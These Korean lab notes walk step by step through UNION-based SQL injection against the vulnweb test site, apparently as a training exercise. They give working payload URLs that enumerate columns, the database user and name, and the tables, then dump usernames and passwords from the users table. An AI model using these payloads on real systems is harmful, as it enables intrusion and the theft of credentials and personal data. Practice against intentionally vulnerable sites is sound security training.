sql injection테스트 사이트 : http://testphp.vulnweb.com/listproducts.php?cat=1
[실습1] union을 이용해서 페이지에서 실행되는 sql문의 필드의 개수를 알아내시오.
http://testphp.vulnweb.com/listproducts.php?cat=1 union select null# à 에러남
sql필드의 개수 : 11개
[실습2] select문에서 정보가 출력되는 위치를 찾아내시오.
각 필드자리에 숫자를 대입해서 파악
http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11#
→ null에 숫자를 대입해 정보출력 위치 찾아내기
↓ 7, 2, 9번에 정보가 출력되는 것을 알 수 있다.
[실습3] db계정(사용자)를 추출하시오.
http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1, user(), 3, 4, 5, 6, 7, 8, 9, 10, 11#
db계정 : acuart@localhost
[실습4] db이름을 추출하시오.
http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1, user(), 3, 4, 5, 6, database(), 8, 9, 10, 11#
db이름 : acuart
[실습5] acuart 데이터베이스 안에 저장된 테이블의 이름을 추출하자 (여러 개)
http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1, group_concat(table_name), 3, 4, 5, 6, database(), 8, 9, 10, 11 from information_schema.tables where table_schema = 'acuart'#
http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1, table_name, 3, 4, 5, 6, database(), 8, 9, 10, 11 from information_schema.tables where table_schema = 'acuart'#
테이블명 : artists, carts, categ, fearured, guestbook, pictures, products, users
[실습6] 5번 결과를 보고 계정정보가 저장된 테이블을 추측해서 해당 테이블의 컬럼명을 추출하자 (여러 개)
-users로 추측
http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1, group_concat(column_name), 3, 4, 5, 6, database(), 8, 9, 10, 11 from information_schema.columns where table_name = 'users'#
컬럼명 : uname,pass,cc,address,email,name,phone,cart
[실습7] 계정정보테이블에서 아이디 추출 : test
http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1, uname, 3, 4, 5, 6, pass, 8, 9, 10, 11 from users#
[실습8] 계정정보테이블에서 패스워드 추출 : test
http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1, uname, 3, 4, 5, 6, pass, 8, 9, 10, 11 from users#